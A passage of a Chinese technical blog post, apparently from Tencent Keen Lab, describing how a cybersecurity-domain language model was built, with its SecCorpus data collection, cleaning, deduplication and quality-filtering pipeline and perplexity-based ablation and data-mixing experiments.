网络安全领域大模型进展</strong></h2><p>根据IDC发布的“破土萌芽——大模型在网络安全领域的应用市场洞察报告”[1]，报告指出国内众多网络安全厂商在2023年陆续推出了各具特色的网络安全垂直领域大模型，由于数据、成本、时间等原因，针对大多数网络安全专业厂商，在基础通用大模型之上投喂安全知识语料，进行模型的再次预训练和微调，从而生成安全垂直领域大模型，是一个性价比更高的途径。安全运营、威胁情报、威胁检测与分析、应用程序安全、数据分类分级成为大模型在网络安全领域的五个主要应用方向。作为网络安全行业的领军者，Google和Microsoft也相继推出了自有的网络安全大语言模型或平台。</p><p>Google在2023年发布了自研的网络安全大模型Sec-Palm2[2]，Sec-Palm2针对安全应用场景进行了微调，整合了大量威胁情报数据。Sec-Palm2结合VirusTotal推出了code insight功能，可帮助安全分析人员快速分析和说明潜在恶意代码的行为，而无需对脚本进行耗时耗力的逆向工程；与此同时，Sec-Palm2还结合Google cloud 推出了Duet AI，Duet AI是目前网络安全领域与大模型结合的标杆产品，具备情报分析与威胁狩猎、安全运营（自动提供安全事件的总结摘要，提供威胁背景，并提出具体建议处置威胁）、攻击溯源（实时分析安全问题，发现可能的攻击路径）等能力，大幅提升安全团队的工作效率。</p><p>另一个标杆产品是微软发布 Security Copilot[3]，Security Copilot凭借OpenAI提供强大的模型能力和Microsoft自身在基础设施、威胁情报以及安全能力等方面的深厚积累，将 GPT-4 与微软丰富的专有安全数据相结合，具备恶意脚本分析、自动撰写安全事件报告、自然语言结合的威胁狩猎、威胁事件分析与响应、设备合规检查等多重能力，可为安全团队提供全方位的智能辅助，从而显著提升安全运营效率。</p><p>从应用方向看，代码&#x2F;流量分析，告警&#x2F;攻击研判解读，安全知识问答，安全智能运营是目前落地的主要方向。从实现方式上看，Google Sec-Palm2以 Palm2为基础模型，增加安全领域数据进一步预训练或微调；Microsoft整合OpenAI GPT4和安全领域数据，其是否采用了微调等技术尚无定论，但将大模型与专业领域数据相结合，是提升大模型在垂直领域应用效果的关键所在。我们尝试分享科恩安全大模型构建过程中的一些细节，并给出我们的网络安全领域数据构建方案，希望对网络安全大模型领域有所帮助。</p><h2 id="2-2-科恩网络安全领域大模型构建"><a href="#2-2-科恩网络安全领域大模型构建" class="headerlink" title="2.2. 科恩网络安全领域大模型构建"></a><strong>2.2. 科恩网络安全领域大模型构建</strong></h2><p>在构建安全领域大模型的过程中，我们尝试在数据、模型等不同层面分析影响模型安全能力的核心因素，分析指出安全领域数据是模型安全能力提升的关键。我们的工作围绕评估、数据、模型、应用四个阶段展开。</p><p><strong>评估层面</strong></p><p>算法研究评测先行，因此我们首先和多个团队联合构建了网络安全大模型评测平台SecBench，旨在为安全大模型研发提供公平、公正、客观、全面的评测能力，辅助安全大模型建设与研发过程。SecBench 重点从能力、语言、领域、安全证书考试四个维度对大模型在网络安全领域的各方面能力进行评估，已经覆盖多个安全领域，包括数据安全、应用安全、端点与主机安全、网络与基础架构安全、身份与访问控制、基础软硬件与技术、安全管理等。目前，<a href="https://secbench.org/">SecBench</a>已发布。</p><p><img src="/zh/img/2024-SecCorpus0411/1.png"><br><img src="/zh/img/2024-SecCorpus0411/2.png"></p><p><strong>数据层面</strong></p><p>为了实现了从数据到模型能力的端到端的监控，例如对任意一批数据，可以针对性的评估该数据对模型安全能力的影响，我们构建了一套完整的数据采集、数据清洗、数据评估流程。关于数据套件的详细内容，将在后续章节详细介绍。</p><p>我们目前已经清洗了中英文总计约20B tokens的高质量安全领域数据，覆盖：安全博客、资讯文章，百科，安全书籍，安全论文等数据源。</p><p><strong>模型层面</strong></p><p>为了验证我们领域数据的有效性，我们在多个模型层面进行了实验评估：</p><ol><li>预训练安全领域小模型，我们基于清洗的安全数据，预训练了160m-1.1B的小模型，160m模型在滚动测试集上验证困惑度(Perplexity)已经达到1.8B通用模型的水平；</li><li>增量预训练：我们通过对Qwen、Baichuan等开源模型进行增量预训练，增量预训练后评估表明效果有明显提升，已经超过了ChatGPT；</li><li>混合数据预训练：腾讯安全科恩实验室与安全平台部合作共建，构建的安全数据目前已经融入到腾讯混元大模型的训练过程，混元大模型在网络安全领域能力有明显提升，科恩基于最新混元大模型搭建威胁情报智能研判助手取得了良好效果。</li></ol><p>基于此三个方面的结果，验证了我们的安全数据的有效性。<br><img src="/zh/img/2024-SecCorpus0411/3.png"></p><p><strong>应用层面</strong></p><p>我们基于最新混元模型搭建了威胁情报研判Agent，通过结合科恩的海量威胁情报、安全基础能力和二进制安全智能分析平台<a href="https://www.binaryai.cn/single-file">BinaryAI</a>，实现情报数据增强的对话式威胁研判Agent，为安全专业人员提供快速检测和响应威胁的端到端体验。其支持用户以自然语言提问关于可执行文件哈希（MD5或SHA256）、IP、域名、CVE等安全实体的任何问题，后台结合威胁情报的详细信息和BinaryAI引擎SCA分析结果，向用户反馈关于提问实体的安全洞见，帮助运营人员提高调查能力，缩短应对安全威胁的响应时间。</p><p>作为威胁情报研判Agent，其具备如下能力：</p><ol><li>掌握丰富的网络安全知识和情报运营常识，理解情报运营人员日常工作所接收到的所有信息，包括告警日志，Payload，代码片段，网络流量包，外部情报的网页内容等。</li><li>能够使用情报人员日常所用的工具，包括查询内部的各情报源数据接口，访问网页，使用搜索引擎等。</li><li>能够成情报研判任务，提供正确的研判结论，生成一份逻辑清晰、论据合理的研判报告。</li></ol><p>除了可以作为独立的应用，还可以作为组件被第三方安全站点集成，如下所示，例如我们将其集成到BinaryAI中，可以分析文件的功能、第三方组件、文件行为以及可能的漏洞等信息。</p><p>未来我们会发布威胁情报研判Agent的技术文章，并且开放威胁情报研判Agent的能力，敬请关注。</p><p><img src="/zh/img/2024-SecCorpus0411/4.png"></p><h1 id="3-安全领域数据构建套件"><a href="#3-安全领域数据构建套件" class="headerlink" title="3. 安全领域数据构建套件"></a><strong>3. 安全领域数据构建套件</strong></h1><p>在上一节我们提到安全领域大模型的能力主要来自于领域数据，在这里重点介绍我们的安全领域数据构建流程。基于我们的实践和公开研究，我们的领域数据构建大致遵循如下流程：</p><ol><li>多源数据采集</li><li>安全文本召回</li><li>数据清洗<ol><li>去重</li><li>语言识别，仅筛选中英文</li><li>脏数据过滤（不同格式数据有所不同）</li><li>自定义规则过滤</li></ol></li><li>高质量文本筛选</li><li>全局去重合并</li><li>进入训练评估流程，递归清洗数据<br><img src="/zh/img/2024-SecCorpus0411/5.png"></li></ol><h2 id="3-1-多源数据采集"><a href="#3-1-多源数据采集" class="headerlink" title="3.1. 多源数据采集"></a><strong>3.1. 多源数据采集</strong></h2><p>由于公开的数据以通用数据为主，我们首先需要确认安全领域数据的数据来源。主要包括以下几个方面：</p><table><thead><tr><th align="left"><strong>数据源</strong></th><th align="left"><strong>数据量级</strong></th><th align="left"><strong>数据质量</strong></th></tr></thead><tbody><tr><td align="left">Common Crawl</td><td align="left">TB</td><td align="left">低</td></tr><tr><td align="left">书籍</td><td align="left">TB</td><td align="left">高</td></tr><tr><td align="left">安全站点</td><td align="left">GB</td><td align="left">中</td></tr><tr><td align="left">arxiv</td><td align="left">GB</td><td align="left">高</td></tr><tr><td align="left">百科</td><td align="left">GB</td><td align="left">高</td></tr><tr><td align="left">开源数据</td><td align="left">TB</td><td align="left">中</td></tr></tbody></table><ul><li>Common Crawl 等网页数据，含有大量的文本数据，但是数据质量一般，需要进行详细的数据清洗和领域数据筛选，见网页数据清洗流程</li><li>书籍数据，质量较高，需要筛选安全主题类数据后清洗</li><li>安全站点如Hacknews等，领域相关度较高的数据</li><li>ArXiv 数据质量较高，需要筛选安全领域相关数据</li><li>百科数据，主要来自维基百科&#x2F;百度百科数据，数据质量高，需要筛选安全领域相关数据</li><li>开源数据，主要来自开源社区的数据，进行安全领域数据筛选</li></ul><h2 id="3-2-安全语料召回"><a href="#3-2-安全语料召回" class="headerlink" title="3.2. 安全语料召回"></a><strong>3.2. 安全语料召回</strong></h2><p>安全语料筛选决定了我们安全语料的纯度，综合考虑数据量和性能原因，我们采用了两级过滤方案：即关键词过滤和基于分类器过滤。</p><p><img src="/zh/img/2024-SecCorpus0411/6.png"></p><ul><li>关键词召回：由于全量数据达到了TB级，考虑到集群性能和数据召回效率，我们首先采用安全关键词召回减少数据量，过滤掉90%以上安全领域无关数据。我们从多个网站搜集了4000+中英文网络安全领域关键词。</li><li>基于模型的召回：基于关键词召回后语料进一步筛选，我们采用安全站点数据、和部分人工+规则的形式筛选出小批量的安全相关数据，在Common Crawl中随机选取部分数据作为非安全数据，基于FastText训练了安全文本分类模型，作为第二阶段安全数据召回的模型。</li></ul><h2 id="3-3-数据清洗"><a href="#3-3-数据清洗" class="headerlink" title="3.3. 数据清洗"></a><strong>3.3. 数据清洗</strong></h2><h3 id="3-3-1-网页数据"><a href="#3-3-1-网页数据" class="headerlink" title="3.3.1. 网页数据"></a><strong>3.3.1. 网页数据</strong></h3><p>网页是最方便获取、数量最多但质量也相对较差的数据。我们收集维护了数百个安全站点URL，和数千个网络安全术语，以此基础获取相关网页。我们使用爬虫爬取、Common Crawl上召回等方法获取(疑似)包含安全相关内容的网页并进行清洗。</p><p>下图是CCNet处理Common Crawl数据[4]的流程：</p><p><img src="/zh/img/2024-SecCorpus0411/7.png"></p><p>图源：<a href="https://blog.christianperone.com/2023/06/appreciating-llms-data-pipelines/">https://blog.christianperone.com/2023/06/appreciating-llms-data-pipelines/</a></p><p>我们主要参考了CCNet的清洗过程，但与CCNet不同的是，我们专注于在HTML格式上直接进行清洗(WARC)，而非WET等网页提取的文本格式。因为HTML源码中包含关于页面排版在内所有信息，可以使用现有工具分离正文元素、代码并解析，从而获得较高质量的文本语料。计算资源来自于千核的spark集群，清洗流程如下：</p><ol><li>使用<a href="https://trafilatura.readthedocs.io/en/latest/">tralifitura</a>[5]提取正文html元素，归一化为xml格式</li><li>文本粗提取，语言识别，不感兴趣的语言的文档将被直接移除</li><li>xml解析，建立ast</li><li>多阶段清洗<ol><li>文档粒度清洗：基于字符和段落的统计量特征，过滤离群样本以移除提取失败、乱码、格式错误的文档</li><li>小节粒度清洗：启发式正则，移除大部分目录、参考引用和附录等</li><li>段落粒度清洗：启发式正则+分类模型评分，移除大部分广告、脚注、版权声明等</li><li>匿名化：移除人名、ID、邮箱等隐私信息</li></ol></li><li>渲染成特定格式的文本</li><li>使用分类模型进行文档主题筛选，移除无关主题的文档</li></ol><h3 id="3-3-2-书籍数据"><a href="#3-3-2-书籍数据" class="headerlink" title="3.3.2. 书籍数据"></a><strong>3.3.2. 书籍数据</strong></h3><p>书籍是质量很高的数据，在各种大模型的训练中都特意提高了占比，比如GPT-3[6]： </p><p><img src="/zh/img/2024-SecCorpus0411/8.png"></p><p>图源：<a href="http://arxiv.org/abs/2005.14165">http://arxiv.org/abs/2005.14165</a></p><p>为了提取出安全相关的书籍，我们使用类似网页的主题分类模型，根据标题和简介进行筛选，得到约五千本书。人工检查后确认分类模型的性能达到预期，进行下一步清洗。</p><p>书籍的原始数据主要是 epub、mobi 等结构化格式和 pdf 格式。由于 pdf 格式的清洗非常复杂，我们主要关注结构化的存储格式。这些格式本质上都是压缩包，其中包含了书本元信息和以 HTML 储存的书本内容，通常每一个章节就是一页 HTML。</p><p>详细清洗流程和网页类似：</p><ol><li>借助 <a href="https://github.com/wustho/epy">epy reader</a>[7] 从原始数据中提取书本元信息和 HTML 页，利用元信息对 HTML 页进行打标，比如封面、目录和附录等，方便后续筛选。</li><li>利用 <a href="https://github.com/matthewwithanm/python-markdownify/tree/develop">python-markdownify</a>[8] 将 HTML 页转换成 Markdown。注意原始实现转换并不完美，需要根据实际提取出的 HTML 页修改转换器的行为，特别是表格、代码块等复杂格式。也可以先使用 tralifitura 进行归一化后再转换成 Markdown，同样也需要修改转换器。</li><li>多阶段清洗：<ol><li>语言清洗：利用书本元信息和语言识别，去除非中英文的书籍</li><li>文档粒度清洗：由于书本内容相对干净，只需要筛去不需要的 HTML 页面即可，不需要更细粒度的筛选<ol><li>利用 1. 中的标签、Markdown 标题、启发式正则等，去除非正文内容，只保留有用的知识</li><li>基于字符和段落的统计量特征，过滤离群样本以移除提取失败、乱码、格式错误的文档</li><li>收集 i. ii. 中的错误文档，训练一个小型分类模型，筛选剩余文档</li></ol></li><li>匿名化：移除人名、ID、邮箱等隐私信息</li></ol></li></ol><h3 id="3-3-3-论文数据"><a href="#3-3-3-论文数据" class="headerlink" title="3.3.3. 论文数据"></a><strong>3.3.3. 论文数据</strong></h3><p>ArXiv 提供按学科分类的原始 tex 文件, 我们选取了带计算机标签的论文, 使用 <a href="https://npm.io/package/@unified-latex/unified-latex-cli">unified-latex-cli </a>[9]转换成 html 文件, 然后采用与网页清洗类似的清洗流程。</p><h3 id="3-3-4-开源数据"><a href="#3-3-4-开源数据" class="headerlink" title="3.3.4. 开源数据"></a><strong>3.3.4. 开源数据</strong></h3><p>由于开源社区的数据已经经过一定层面的清洗，可以加快后续整体的数据清洗和验证流程，因此我们从huggingface、opendatalab等开源社区搜集了部分数据，经过安全语料召回后采用与网页清洗类似的清洗流程。</p><h2 id="3-4-数据质量过滤"><a href="#3-4-数据质量过滤" class="headerlink" title="3.4. 数据质量过滤"></a><strong>3.4. 数据质量过滤</strong></h2><p>数据质量进一步影响了模型最终的效果，参考CCNet[4]、GPT3[6]的方式，我们构建了两个安全文本质量判定模型综合筛选高质量的安全数据。文本质量判定模型基于FastText，使用书籍、启发式等方式筛选出高质量数据，以Common Crawl的数据作为低质量数据；同时，为了缓解分类器打分的偏置问题，我们训练了基于筛选后的高质量安全数据训练一个160m的模型，并在其他数据上计算PPL，辅助作为数据质量划分的依据。</p><p><img src="/zh/img/2024-SecCorpus0411/9.png"></p><p>为了快速验证数据质量过滤对模型效果的影响，我们随机选取了一个数据子集进行实验观察。首先从质量分数的分布上，我们观察到部分数据的质量较差，对这部分数据进行移除前后进行对比实验，发现在模型上可以带来约2%的提升。</p><p><img src="/zh/img/2024-SecCorpus0411/10.png"></p><h2 id="3-5-数据去重"><a href="#3-5-数据去重" class="headerlink" title="3.5. 数据去重"></a><strong>3.5. 数据去重</strong></h2><p>我们主要参考了BigCode的<a href="https://huggingface.co/blog/dedup">文本去重方案</a>[10]，在spark集群上进行全量去重，该方案使用了MinHash LSH和<a href="https://dl.acm.org/doi/10.1145/2670979.2670997">分布式的联通块算法</a>，以移除文档间Jaccard距离小于常数阈值的文档。经过去重后，总计减少了10%的数据量，同时在多次数据配比实验中，整体训练过程中测试集困惑度都更低，再一次验证了去重的有效性。</p><p><img src="/zh/img/2024-SecCorpus0411/11.png"></p><h1 id="4-数据质量评测"><a href="#4-数据质量评测" class="headerlink" title="4. 数据质量评测"></a><strong>4. 数据质量评测</strong></h1><p>在大模型项目从零到一的起步阶段，评测的重要性往往会被忽视。很多时候，收集完一批数据、模型训练完成、手工尝试几个问答后，就失去了方向，不知道下一步如何改进。</p><p>我们认为，一个优秀的评测体系可以衡量数据&#x2F;模型的有效性，加速和指导研发过程，需要投入足够的精力进行建设，所以本章我们会详细介绍一个服务于 SecCorpus 安全领域数据构建的评测框架。</p><p>与以模型为主体的评测体系 (比如 SecBench) 不同，为了评估数据的质量, 我们构建了一个针对数据的评测体系，整体框架如下：</p><ol><li>确定单一的评测指标，要求尽量反映模型的安全能力</li><li>在待评测的数据集上训练一个模型，通过模型的指标反映数据的质量，越高质量的数据理应使得模型达到更高的指标<ol><li>为了避免开源基座模型的训练数据影响, 我们使用随机初始化的模型权重</li><li>在小参数量的模型上实验以提高效率</li></ol></li><li>通过实验结果，不断地优化数据处理流程；必要时也需要优化评测指标</li></ol><h2 id="4-1-评测指标"><a href="#4-1-评测指标" class="headerlink" title="4.1. 评测指标"></a><strong>4.1. 评测指标</strong></h2><p>评测体系的核心在于单一的评测指标。评测指标需要能够尽量反映模型的真实能力。</p><p>一个好的评测指标，应该具有以下特点：</p><ol><li>单一数值：方便进行直观的模型比较</li><li>区分度：不同能力的模型的指标应该有明显差异</li><li>稳定性：一些细微的扰动，不应该造成指标大幅波动</li><li>自动化：不需要人力参与，就可以完成评测指标的计算</li><li>可解释性：有明确的现实意义</li></ol><p>另外需要注意的是，评测指标并不是一劳永逸的，我们在实验中，需要不断地思考并改进评测指标。</p><h3 id="4-1-1-网络安全认证考试选择题准确率"><a href="#4-1-1-网络安全认证考试选择题准确率" class="headerlink" title="4.1.1. 网络安全认证考试选择题准确率"></a><strong>4.1.1. 网络安全认证考试选择题准确率</strong></h3><p>参考学术界通用的大模型通用能力评测 MMLU[11]，我们收集了一批安全认证考试和计算机软件资格考试的题目，采用和 MMLU 类似的 prompt 模板和 few-shot 设置，计算模型的答题准确率，从而评估模型对安全知识的掌握能力。</p><p>选择题准确率能够十分直观地反映模型对于安全知识的掌握程度，但是在使用过程中我们发现了一系列问题：</p><ol><li>答题准确率指标太过离散：每道题只有答对和答错两种情况，不够平滑，无法反映中间状态</li><li>指标的方差太大：prompt 模板、few-shot 顺序甚至换行会造成好几个点的指标波动，混淆了训练数据的作用</li><li>对于小模型难度太大：由于小模型的 few-shot 能力有限，选择题准确率常常会徘徊在 25% 的随机选择准确率附近，使得该指标失去了参考价值</li><li>数据泄露：题目来自于公开互联网，可能无意被训练数据收录，无法起到客观评测的作用</li></ol><p>考虑到这些问题，选择题准确率不适合继续作为评估数据质量的单一指标使用。</p><h3 id="4-1-2-安全语料困惑度"><a href="#4-1-2-安全语料困惑度" class="headerlink" title="4.1.2. 安全语料困惑度"></a><strong>4.1.2. 安全语料困惑度</strong></h3><p>为了缓解答题准确率的问题，同时参考 Skywork[12] 的工作, 我们选择使用安全语料的困惑度 (PPL, Perplexity) 作为新的单一评测指标，其优点在于：</p><ol><li>困惑度是一个更平滑的指标，可以更精细地反映模型学习知识的中间状态</li><li>困惑度的稳定性很好，少数几个 token 的变化不会造成很大的指标波动</li><li>即使对于小模型，困惑度也能提供有意义的指标</li><li>通过时间轴上的测试数据选择，可以严格地避免数据泄露问题</li></ol><p>实际的构建流程为：</p><ol><li>收集一批出现时间在开源模型训练时间点之后的中英文安全语料，约 200 篇文章</li><li>手工检查语料质量，制作成测试集</li><li>利用现有开源模型计算困惑度，验证数据质量</li><li>训练过程中计算困惑度来评估模型和数据质量</li></ol><p>在之后的实验中，这个指标很好地满足了评测的需求，成为了我们比较挑选数据的标准。</p><h2 id="4-2-Baseline"><a href="#4-2-Baseline" class="headerlink" title="4.2. Baseline"></a><strong>4.2. Baseline</strong></h2><p>在评测指标确定后，按照机器学习项目的常规流程，首先需要确定一个 baseline，这样做的好处在于：</p><ol><li>可以通过 baseline 结果验证评测体系是否正常运作；如果出现过高或过低的指标，需要重新检查评测体系的实现是否存在问题，避免后续的实验失效，造成浪费</li><li>作为之后实验的比较基准，方便控制变量检查新加入数据的质量</li></ol><p>与常规的 baseline 设计不同，由于我们的评测体系是针对数据的，所以我们不仅设立了模型 baseline，还设计了数据 baseline。</p><h3 id="4-2-1-模型-baseline"><a href="#4-2-1-模型-baseline" class="headerlink" title="4.2.1. 模型 baseline"></a><strong>4.2.1. 模型 baseline</strong></h3><p>根据 Scaling Laws，困惑度和模型参数量高度相关，考虑到大部分实验都是在小参数量的模型上进行的，我们挑选了同样小参数量的 GPT-2 [13]原版和中文版本, 得到该参数量下模型的典型困惑度。</p><h3 id="4-2-2-数据-baseline"><a href="#4-2-2-数据-baseline" class="headerlink" title="4.2.2. 数据 baseline"></a><strong>4.2.2. 数据 baseline</strong></h3><p>模型 baseline 一般都会选用简单成熟的方法，而我们构建数据的目的是提高安全能力，因此我们采用了传统的 TF-IDF 方法, 在开源 WanJuan [14] 数据集上召回了一批安全相关语料，约有3B token。</p><p>通过人工检查，我们确认该方法产生的数据中的确包含了许多安全相关的语料，可以作为数据 baseline。之后我们用这批数据训练了 160m 参数量的 LLaMa [15]架构模型，得到了数据 baseline 对应的困惑度。</p><table><thead><tr><th align="left"><strong>数据</strong></th><th align="left"><strong>模型</strong></th><th align="left"><strong>训练Token数量</strong></th><th align="left"><strong>困惑度</strong></th></tr></thead><tbody><tr><td align="left">N&#x2F;A</td><td align="left">GPT-2-chinese</td><td align="left">N&#x2F;A</td><td align="left">15.7</td></tr><tr><td align="left">WanJuan TFIDF</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">21.6</td></tr></tbody></table><p>需要注意的是，这里使用了两个 GPT-2 模型计算困惑度，从参数量的角度是明显高于LLaMa 160m的，因此这是一个相当强的模型 baseline。</p><p>从 baseline 结果中我们可以初步确认：</p><ol><li>困惑度的取值在该参数量模型的正常范围内，指标计算没有问题</li><li>数据 baseline 的困惑度高于模型 baseline，由于数据 baseline 的总数据量较少，符合预期</li></ol><h2 id="4-3-实验结果"><a href="#4-3-实验结果" class="headerlink" title="4.3. 实验结果"></a><strong>4.3. 实验结果</strong></h2><h3 id="4-3-1-数据消融实验"><a href="#4-3-1-数据消融实验" class="headerlink" title="4.3.1. 数据消融实验"></a><strong>4.3.1. 数据消融实验</strong></h3><p>为了验证每个数据来源产生的数据是否有效，我们将其与数据 baseline 混合，重新训练模型，来验证新数据的有效性：</p><table><thead><tr><th align="left"><strong>数据</strong></th><th align="left"><strong>模型</strong></th><th align="left"><strong>训练Token数量</strong></th><th align="left"><strong>困惑度</strong></th></tr></thead><tbody><tr><td align="left">WanJuan TFIDF (baseline)</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">21.6</td></tr><tr><td align="left">WanJuan TFIDF+网页</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.9</td></tr><tr><td align="left">WanJuan TFIDF+书籍</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">18.6</td></tr><tr><td align="left">WanJuan TFIDF+论文</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">26.1</td></tr><tr><td align="left">WanJuan TFIDF+StackExchange</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.9</td></tr><tr><td align="left">WanJuan TFIDF+Skypile[12] 安全</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.0</td></tr><tr><td align="left">WanJuan TFIDF+Wudao[16] 安全</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">20.1</td></tr><tr><td align="left">WanJuan TFIDF+OSCAR[17] 安全</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">20.0</td></tr><tr><td align="left">WanJuan TFIDF+Culturax[18] 安全</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">18.7</td></tr><tr><td align="left">WanJuan TFIDF+维基百科</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.4</td></tr><tr><td align="left">WanJuan TFIDF+Slimpajama[19] 安全</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">18.3</td></tr><tr><td align="left">WanJuan 安全</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">20.8</td></tr></tbody></table><p>通过消融实验，我们发现提取出来的大部分安全相关数据都有助于降低困惑度，只有论文数据效果较差。经过分析，主要问题在于论文太过于专业，难度较高，而且数量较少，对于一个随机初始化的小模型反而产生了副作用。</p><h3 id="4-3-2-数据质量数量权衡"><a href="#4-3-2-数据质量数量权衡" class="headerlink" title="4.3.2. 数据质量数量权衡"></a><strong>4.3.2. 数据质量数量权衡</strong></h3><p>我们确定从通用数据中提取安全数据有效后，继续着手解决数据质量和数量的平衡问题。这个问题主要来自于提取过程中涉及到的一些超参数，控制得越松，产出的数据量越多，但是相对质量较差的数据也会被保留下来。这里就涉及到一个 trade-off 的问题，需要通过实验找到质量和数量的平衡点。</p><p>我们首先尝试了阈值截断的方式，在 Skypile[12] 安全语料中，按照文档质量评分筛选数据：</p><table><thead><tr><th align="left"><strong>数据</strong></th><th align="left"><strong>文档质量下限</strong></th><th align="left"><strong>模型</strong></th><th align="left"><strong>训练Token数量</strong></th><th align="left"><strong>困惑度</strong></th></tr></thead><tbody><tr><td align="left">WanJuan TFIDF (baseline)</td><td align="left">N&#x2F;A</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">21.6</td></tr><tr><td align="left">WanJuan TFIDF+Skypile 安全</td><td align="left">0.0</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.0</td></tr><tr><td align="left">WanJuan TFIDF+Skypile 安全</td><td align="left">0.1</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.2</td></tr><tr><td align="left">WanJuan TFIDF+Skypile 安全</td><td align="left">0.2</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.3</td></tr></tbody></table><p>从实验结果来看，对于总数据量并不是很大的 Skypile，筛去低评分文档，反而会导致困惑度变高。所以对于数据量不多的来源，保数量优先于保质量。</p><p>接下来我们参考 GPT-3[6] 中的质量筛选方式 np.random.pareto(α) &gt; 1 − document_score，通过在文档质量分数上通过 Pareto 分布采样。比起直接采用阈值截断的方式，这样可以在保留大部分高质量文档的同时，低评分文档也有被选用的概率，这样可以降低评分模型本身偏差带来的影响。超参数α越大，采样时会更加偏向于高质量文档。同时，我们也采用了数据量更加庞大的网页数据进行筛选：</p><table><thead><tr><th align="left"><strong>数据</strong></th><th align="left"><strong>超参数α</strong></th><th align="left"><strong>剩余比例</strong></th><th align="left"><strong>模型</strong></th><th align="left"><strong>训练Token数量</strong></th><th align="left"><strong>困惑度</strong></th></tr></thead><tbody><tr><td align="left">WanJuan TFIDF (baseline)</td><td align="left">N&#x2F;A</td><td align="left">N&#x2F;A</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">21.6</td></tr><tr><td align="left">WanJuan TFIDF+网页</td><td align="left">0.1</td><td align="left">0.9584</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">18.9</td></tr><tr><td align="left">WanJuan TFIDF+网页</td><td align="left">1</td><td align="left">0.6755</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">18.9</td></tr><tr><td align="left">WanJuan TFIDF+网页</td><td align="left">5</td><td align="left">0.2141</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">18.7</td></tr><tr><td align="left">WanJuan TFIDF+网页</td><td align="left">9</td><td align="left">0.0939</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">19.3</td></tr></tbody></table><p>这次实验中，我们看到了一个明显的平衡点，在剩余20%数据的时候，达到了最低的困惑度。所以对于数据量庞大的来源，优先保质量。</p><h3 id="4-3-3-数据配比"><a href="#4-3-3-数据配比" class="headerlink" title="4.3.3. 数据配比"></a><strong>4.3.3. 数据配比</strong></h3><p>数据配比本身是一个变量非常多的问题，我们采取逐步加入数据源的方式，来保证整体的配比合理：</p><table><thead><tr><th align="left"><strong>数据</strong></th><th align="left"><strong>模型</strong></th><th align="left"><strong>训练Token数量</strong></th><th align="left"><strong>困惑度</strong></th></tr></thead><tbody><tr><td align="left">WanJuan TFIDF (baseline)</td><td align="left">LLaMa 160m</td><td align="left">10B</td><td align="left">21.6</td></tr><tr><td align="left">WanJuan TFIDF(1.0)+书籍(0.5)+StackExchange(1.0)+网页(0.5)+Skypile 安全(1.0)+Wudao 安全(1.0)</td><td align="left">LLaMa 160m</td><td align="left">20B</td><td align="left">14.8</td></tr><tr><td align="left">WanJuan TFIDF(1.0)+书籍(0.5)+StackExchange(1.0)+网页(0.5)+Skypile 安全(2.0)+Wudao 安全(1.0)</td><td align="left">LLaMa 160m</td><td align="left">20B</td><td align="left">14.4</td></tr><tr><td align="left">WanJuan TFIDF(1.0)+书籍(0.5)+StackExchange(1.0)+网页(0.5)+Skypile 安全(1.0)+Wudao 安全(1.0)+OSCAR 安全(0.02)+维基百科(0.005)</td><td align="left">LLaMa 160m</td><td align="left">20B</td><td align="left">14.5</td></tr><tr><td align="left">WanJuan TFIDF(0.8)+书籍(0.5)+StackExchange(1.2)+网页(0.4)+Skypile 安全(1.3)+Wudao 安全(0.6)+OSCAR 安全(0.1)+维基百科(0.01)</td><td align="left">LLaMa 160m</td><td align="left">20B</td><td align="left">14.3</td></tr><tr><td align="left">WanJuan 安全(0.6)+书籍(0.5)+StackExchange(1.0)+网页(1.4)+Skypile 安全(1.0)+Wudao 安全(0.5)+Culturax 安全(1.0)+维基百科(0.01)+Slimpajama(1.0)</td><td align="left">LLaMa 160m</td><td align="left">20B</td><td align="left">14.2</td></tr><tr><td align="left">WanJuan 安全(0.6)+书籍(0.5)+StackExchange(1.0)+网页(1.4)+Skypile 安全(1.0)+Wudao 安全(0.5)+Culturax 安全(1.0)+维基百科(0.01)+Slimpajama(1.0)</td><td align="left">LLaMa 160m</td><td align="left">30B</td><td align="left">13.6</td></tr></tbody></table><p>表格中数据括号表示该数据源与其他数据源的比例，整体数据都已去重。从实验中得到的结论是：</p><ol><li>数据多样性很重要，混合多种数据可以大幅降低困惑度</li><li>适当地提高高质量数据权重可以进一步降低困惑度，但是需要注意不能重复太多次，否则会产生过拟合</li><li>随着总数据量增加，可以适当增加总训练token数，也可以降低困惑度</li></ol><p>综合所有技巧，我们得到了一份配比合理的训练集，可以在 30B token 的训练预算内，将安全语料困惑度降低到明显低于 baseline 的水平。</p><h2 id="4-4-Takeaway"><a href="#4-4-Takeaway" class="headerlink" title="4.4. Takeaway"></a><strong>4.4. Takeaway</strong></h2><ol><li>评估数据质量需要先建立一个评测体系</li><li>对于总量较少的数据源，优先增加数量；对于数量庞大的数据源，优先筛选质量</li><li>混合数据时，去重很重要，高质量数据应该占比更多，但是不应该重复太多次（&lt;10 epoch）</li></ol><h1 id="5-总结"><a href="#5-总结" class="headerlink" title="5. 总结"></a><strong>5. 